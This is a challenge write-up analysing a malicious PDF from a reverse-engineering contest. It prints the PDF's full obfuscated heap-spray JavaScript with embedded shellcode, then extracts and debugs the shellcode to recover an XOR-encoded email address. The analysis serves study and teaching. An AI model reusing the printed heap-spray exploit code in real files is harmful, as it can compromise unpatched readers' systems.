From aldeid
Jump to navigation Jump to search
You are here
Challenge 4

Uncompress the archive

Download the file:

Let's uncompress the archive:

$ 7z x 

7-Zip [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=fr_FR.utf8,Utf16=on,HugeFiles=on,4 CPUs)

Processing archive:

Extracting  APT9001.pdf
Enter password (will not be echoed) : malware

Everything is Ok

Size:       21284
Compressed: 17794

It results in a PDF file:

$ file APT9001.pdf
APT9001.pdf: PDF document, version 1.5
  • md5: f2bf6b87b5ab15a1889bddbe0be0903f
  • sha1: 58c93841ee644a5d2f5062bb755c6b9477ec6c0b
  • sha256: 15f3d918c4781749e3c9f470740485fa01d58fd0b003e2f0be171d80ce3b1c2c

What happens when you open the file?

If you open the file in an unpatched (e.g. version 9) version of Adobe Reader, you will get the following screen:


We can assume that the message corresponds to the encrypted email address we're looking for.

Analysis of the PDF

We could analyze the PDF with jsunpack but let's detail the steps.

We can see that there is JavaScript in the PDF:

$ pdfid APT9001.pdf
PDFiD 0.1.2 APT9001.pdf
 PDF Header: %PDF-1.5
 obj                   10
 endobj                 9
 stream                 3
 endstream              3
 xref                   2
 trailer                2
 startxref              2
 /Page                  3(2)
 /Encrypt               0
 /ObjStm                0
 /JS                    1(1)
 /JavaScript            1(1)
 /AA                    0
 /OpenAction            1(1)
 /AcroForm              0
 /JBIG2Decode           1(1)
 /RichMedia             0
 /Launch                0
 /EmbeddedFile          0
 /XFA                   0
 /Colors > 2^24         0

If we look for javascript, we can see that it's in object 5, referencing object 6:

$ --search=javascript APT9001.pdf
obj 5 0
 Type: /Action
 Referencing: 6 0 R

    /Type /Action
    /S /JavaScript
    /JS 6 0 R

pdfobjflow can show the relationship of the objects:


Now,let's have a look at object 6:

$ -f --object=6 APT9001.pdf
obj 6 0
 Contains stream

    /Length 6170
    /Filter '[  \r\n /Fla#74eDe#63o#64#65  /AS#43IIHexD#65cod#65 ]'

 '\n    var HdPN = "";\n    var zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf = "";\n    var IxTUQnOvHg = unescape("%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u9ba8%ufe01%uc7c6%ue3c1%u7e24%u437c%ue180%ub115%ub3b2%u4f66%u27b6%u9f3c%u7a4e%u412d%ubbbf%u7705%uf528%u9293%u9990%ua998%u0a47%u14eb%u3d49%u484b%u372f%ub98d%u3478%u0bb4%ud5d2%ue031%u3572%ud610%u6740%u2bbe%u4afd%u041c%u3f97%ufc3a%u7479%u421d%ub7b5%u0c2c%u130d%u25f8%u76b0%u4e79%u7bb1%u0c66%u2dbb%u911c%ua92f%ub82c%u8db0%u0d7e%u3b96%u49d4%ud56b%u03b7%ue1f7%u467d%u77b9%u3d42%u111d%u67e0%u4b92%ueb85%u2471%u9b48%uf902%u4f15%u04ba%ue300%u8727%u9fd6%u4770%u187a%u73e2%ufd1b%u2574%u437c%u4190%u97b6%u1499%u783c%u8337%ub3f8%u7235%u693f%u98f5%u7fbe%u4a75%ub493%ub5a8%u21bf%ufcd0%u3440%u057b%ub2b2%u7c71%u814e%u22e1%u04eb%u884a%u2ce2%u492d%u8d42%u75b3%uf523%u727f%ufc0b%u0197%ud3f7%u90f9%u41be%ua81c%u7d25%ub135%u7978%uf80a%ufd32%u769b%u921d%ubbb4%u77b8%u707e%u4073%u0c7a%ud689%u2491%u1446%u9fba%uc087%u0dd4%u4bb0%ub62f%ue381%u0574%u3fb9%u1b67%u93d5%u8396%u66e0%u47b5%u98b7%u153c%ua934%u3748%u3d27%u4f75%u8cbf%u43e2%ub899%u3873%u7deb%u257a%uf985%ubb8d%u7f91%u9667%ub292%u4879%u4a3c%ud433%u97a9%u377e%ub347%u933d%u0524%u9f3f%ue139%u3571%u23b4%ua8d6%u8814%uf8d1%u4272%u76ba%ufd08%ube41%ub54b%u150d%u4377%u1174%u78e3%ue020%u041c%u40bf%ud510%ub727%u70b1%uf52b%u222f%u4efc%u989b%u901d%ub62c%u4f7c%u342d%u0c66%ub099%u7b49%u787a%u7f7e%u7d73%ub946%ub091%u928d%u90bf%u21b7%ue0f6%u134b%u29f5%u67eb%u2577%ue186%u2a05%u66d6%ua8b9%u1535%u4296%u3498%ub199%ub4ba%ub52c%uf812%u4f93%u7b76%u3079%ubefd%u3f71%u4e40%u7cb3%u2775%ue209%u4324%u0c70%u182d%u02e3%u4af9%ubb47%u41b6%u729f%u9748%ud480%ud528%u749b%u1c3c%ufc84%u497d%u7eb8%ud26b%u1de0%u0d76%u3174%u14eb%u3770%u71a9%u723d%ub246%u2f78%u047f%ub6a9%u1c7b%u3a73%u3ce1%u19be%u34f9%ud500%u037a%ue2f8%ub024%ufd4e%u3d79%u7596%u9b15%u7c49%ub42f%u9f4f%u4799%uc13b%ue3d0%u4014%u903f%u41bf%u4397%ub88d%ub548%u0d77%u4ab2%u2d93%u9267%ub198%ufc1a%ud4b9%ub32c%ubaf5%u690c%u91d6%u04a8%u1dbb%u4666%u2505%u35b7%u3742%u4b27%ufc90%ud233%u30b2%uff64%u5a32%u528b%u8b0c%u1452%u728b%u3328%ub1c9%u3318%u33ff%uacc0%u613c%u027c%u202c%ucfc1%u030d%ue2f8%u81f0%u5bff%u4abc%u8b6a%u105a%u128b%uda75%u538b%u033c%uffd3%u3472%u528b%u0378%u8bd3%u2072%uf303%uc933%uad41%uc303%u3881%u6547%u5074%uf475%u7881%u7204%u636f%u7541%u81eb%u0878%u6464%u6572%ue275%u8b49%u2472%uf303%u8b66%u4e0c%u728b%u031c%u8bf3%u8e14%ud303%u3352%u57ff%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff53%u68d2%u3233%u0101%u8966%u247c%u6802%u7375%u7265%uff54%u68d0%u786f%u0141%udf8b%u5c88%u0324%u6168%u6567%u6842%u654d%u7373%u5054%u54ff%u2c24%u6857%u2144%u2121%u4f68%u4e57%u8b45%ue8dc%u0000%u0000%u148b%u8124%u0b72%ua316%u32fb%u7968%ubece%u8132%u1772%u45ae%u48cf%uc168%ue12b%u812b%u2372%u3610%ud29f%u7168%ufa44%u81ff%u2f72%ua9f7%u0ca9%u8468%ucfe9%u8160%u3b72%u93be%u43a9%ud268%u98a3%u8137%u4772%u8a82%u3b62%uef68%u11a4%u814b%u5372%u47d6%uccc0%ube68%ua469%u81ff%u5f72%ucaa3%u3154%ud468%u65ab%u8b52%u57cc%u5153%u8b57%u89f1%u83f7%u1ec7%ufe39%u0b7d%u3681%u4542%u4645%uc683%ueb04%ufff1%u68d0%u7365%u0173%udf8b%u5c88%u0324%u5068%u6f72%u6863%u7845%u7469%uff54%u2474%uff40%u2454%u5740%ud0ff");\n    var MPBPtdcBjTlpvyTYkSwgkrWhXL = "";\n\n    for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA=128;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA>=0;--EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) MPBPtdcBjTlpvyTYkSwgkrWhXL += unescape("%ub32f%u3791");\n    ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv = MPBPtdcBjTlpvyTYkSwgkrWhXL + IxTUQnOvHg;\n    OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY = unescape("%ub32f%u3791");\n    fJWhwERSDZtaZXlhcREfhZjCCVqFAPS = 20;\n    fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA = fJWhwERSDZtaZXlhcREfhZjCCVqFAPS+ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv.length\n    while (OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.length<fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA) OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY+=OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY;\n    UohsTktonqUXUXspNrfyqyqDQlcDfbmbywFjyLJiesb = OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.substring(0, fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA);\n    MOysyGgYplwyZzNdETHwkru = OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.substring(0, OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.length-fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA);\n    while(MOysyGgYplwyZzNdETHwkru.length+fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA < 0x40000) MOysyGgYplwyZzNdETHwkru = MOysyGgYplwyZzNdETHwkru+MOysyGgYplwyZzNdETHwkru+UohsTktonqUXUXspNrfyqyqDQlcDfbmbywFjyLJiesb;\n    DPwxazRhwbQGu = new Array();\n    for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA=0;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA<100;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA++) DPwxazRhwbQGu[EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA] = MOysyGgYplwyZzNdETHwkru + ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv;\n\n    for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA=142;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA>=0;--EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf += unescape("%ub550%u0166");\n    bGtvKT = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length + 20\n    while (zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length < bGtvKT) zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf += zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf;\n    Juphd = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.substring(0, bGtvKT);\n    QCZabMzxQiD = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.substring(0, zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length-bGtvKT);\n    while(QCZabMzxQiD.length+bGtvKT < 0x40000) QCZabMzxQiD = QCZabMzxQiD+QCZabMzxQiD+Juphd;\n    FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE = new Array();\n    for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA=0;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA<125;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA++) FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE[EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA] = QCZabMzxQiD + zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf;\n'

Shellcode extraction

What is interesting here is the unicode string (%u72f9%u4649%u1525[...SNIP...]%u5740%ud0ff). Let's tranform it to hex:

$ cat shellcode.unicode | unicode2hex-escaped > shellcode.hex
The unicode2hex-escaped is a function added in my ~/.bash_aliases file, defined as follows:
$ cat ~/.bash_aliases 
function unicode2hex-escaped {
    perl -pe 's/[\"\s\+]//g; s/[%\\]u([a-fA-F0-9]{2})([a-fA-F0-9]{2})/\\x$2\\x$1/g;' ${*};

Now, let's use shellcode2exe to get the executable shellcode:

$ python -s shellcode.hex shellcode.exe
Shellcode to executable converter
by Mario Vilas (mvilas at gmail dot com)

Reading string shellcode from file shellcode.hex
Generating executable file
Writing file shellcode.exe

Running shellcode.exe results in the same popup message we had previously with the PDF, which confirms we are on the right way.


Shellcode analysis

The MessageBox

If we open the shellcode into IDA-Pro, we notice that there is a call to EAX at offset 0x4013DD:


Let's open shellcode.exe into OllyDbg and put a breakpoint at 0x4013DD. When we run the program, it stops at this address and just a step in (F7) after, we see the call to the MessageBox:


As you can see, the Text field seems encrypted and we can assume that this is the encrypted form of the email address we're looking for. Now that we now that the call to EAX is the MessageBox, let's analyze the code to see the content that is sent to this function.

The XOR encryption

Static Analysis

The code just before the call to EAX is as follows:

.text:0040134C 57                                      push    edi             ; EDI = 0x0
.text:0040134D 68 44 21 21 21                          push    21212144h       ; 'D!!!'
.text:00401352 68 4F 57 4E 45                          push    454E574Fh       ; 'OWNE'
.text:00401357 8B DC                                   mov     ebx, esp        ; EBX = 'OWNED!!!'
.text:00401359 E8 00 00 00 00                          call    $+5
.text:0040135E 8B 14 24                                mov     edx, [esp]      ; EDX = 0x40135E
.text:00401361 81 72 0B 16 A3 FB 32                    xor     dword ptr [edx+0Bh], 32FBA316h ; DWORD at address 0x401369 (0x40135E + 0xB)
.text:00401361                                                                 ; will be XOR'ed with 0x32FBA316
.text:00401368 68 79 CE BE 32                          push    32BECE79h
.text:0040136D 81 72 17 AE 45 CF 48                    xor     dword ptr [edx+17h], 48CF45AEh
.text:00401374 68 C1 2B E1 2B                          push    2BE12BC1h
.text:00401379 81 72 23 10 36 9F D2                    xor     dword ptr [edx+23h], 0D29F3610h
.text:00401380 68 71 44 FA FF                          push    0FFFA4471h
.text:00401385 81 72 2F F7 A9 A9 0C                    xor     dword ptr [edx+2Fh], 0CA9A9F7h
.text:0040138C 68 84 E9 CF 60                          push    60CFE984h
.text:00401391 81 72 3B BE 93 A9 43                    xor     dword ptr [edx+3Bh], 43A993BEh
.text:00401398 68 D2 A3 98 37                          push    3798A3D2h
.text:0040139D 81 72 47 82 8A 62 3B                    xor     dword ptr [edx+47h], 3B628A82h
.text:004013A4 68 EF A4 11 4B                          push    4B11A4EFh
.text:004013A9 81 72 53 D6 47 C0 CC                    xor     dword ptr [edx+53h], 0CCC047D6h
.text:004013B0 68 BE 69 A4 FF                          push    0FFA469BEh
.text:004013B5 81 72 5F A3 CA 54 31                    xor     dword ptr [edx+5Fh], 3154CAA3h
.text:004013BC 68 D4 AB 65 52                          push    5265ABD4h
.text:004013C1 8B CC                                   mov     ecx, esp        ; ECX will contain the text in the clear
.text:004013C3 57                                      push    edi             ; uType (The contents and behavior of the dialog box)
.text:004013C4 53                                      push    ebx             ; lpCaption (The dialog box title) = "OWNED!!!"
.text:004013C5 51                                      push    ecx             ; lpText (The message to be displayed)
.text:004013C6 57                                      push    edi             ; hWnd (handle to the owner window of the message box to be created)
.text:004013C7 8B F1                                   mov     esi, ecx
.text:004013C9 89 F7                                   mov     edi, esi
.text:004013CB 83 C7 1E                                add     edi, 1Eh
.text:004013CE                         loc_4013CE:                             ; CODE XREF: .text:004013DB�j
.text:004013CE 39 FE                                   cmp     esi, edi
.text:004013D0 7D 0B                                   jge     short loc_4013DD
.text:004013D2 81 36 42 45 45 46                       xor     dword ptr [esi], 46454542h
.text:004013D8 83 C6 04                                add     esi, 4
.text:004013DB EB F1                                   jmp     short loc_4013CE
.text:004013DD                         ; ---------------------------------------------------------------------------
.text:004013DD                         loc_4013DD:                             ; CODE XREF: .text:004013D0�j
.text:004013DD FF D0                                   call    eax

As explained here, the MessageBox function accepts 4 parameters. These are stored in registers and pushed on the stack:

Address Parameter Register Value
0x4013C3 uType (The contents and behavior of the dialog box) edi
0x4013C4 lpCaption (The dialog box title) ebx 'OWNED!!!'
0x4013C5 lpText (The message to be displayed) ecx Will store the email address in the clear
0x4013C6 hWnd (handle to the owner window of the message box to be created) edi

We want to know what value is pushed on the stack at 0x4013C5 (value of ECX). We see that ECX received the value of ESP at 0x4013C1 and that just before, several values are pushed on the stack.

The XOR instructions are actually patching the DWORD pushed on the instruction that comes next, as follows:


To decrypt this, let's write the following python code:

def patch_dword(loc, xor_key):
    d = Dword(loc)
    decoded_dword = d ^ xor_key
    PatchDword(loc, decoded_dword)
    # the comment shows the decoded strings
    comment = ''.join([chr(Byte(loc+i)) for i in range(4)])
    # the comment is 1 byte before the 1st patched byte
    MakeComm(loc-1, comment)

edx = 0x40135E
patch_dword(edx+0x0B, 0x32FBA316)
patch_dword(edx+0x17, 0x48CF45AE)
patch_dword(edx+0x23, 0xD29F3610)
patch_dword(edx+0x2F, 0x0CA9A9F7)
patch_dword(edx+0x3B, 0x43A993BE)
patch_dword(edx+0x47, 0x3B628A82)
patch_dword(edx+0x53, 0xCCC047D6)
patch_dword(edx+0x5F, 0x3154CAA3)
print "Patch done!"

Here is what we get once the script is run:


Dynamic Analysis

In IDA Pro, if you scroll a bit above, you will discover where the string is built before being XOR'ed:


Back in OllyDbg, put a breakpoint at 0x4013C3 and run the program. It will show the solution:


The solution

The solution to challenge 4 is

[email protected]


blog comments powered by Disqus

Keywords: reverse-engineering challenge flare fireeye pdf shellcode